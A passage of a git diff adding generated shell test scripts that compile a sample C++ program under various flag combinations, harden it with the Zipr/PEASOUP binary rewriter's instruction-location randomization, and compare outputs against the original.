+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7dfcc49031561f8b354f35406678e90e90af1097
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..647707309c9a2db3b0d7e2ff722a27836c74ce84
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d4a5ab30ae7a05013549ed4ad7bed1899e62150e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e227edb9e6378c6797168b628b34f41ad7235a2e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a4a8417a4876470ebb8815364fed40f5528f6200
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..507d8dc68c31046e289919042f165d19ab5d811b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
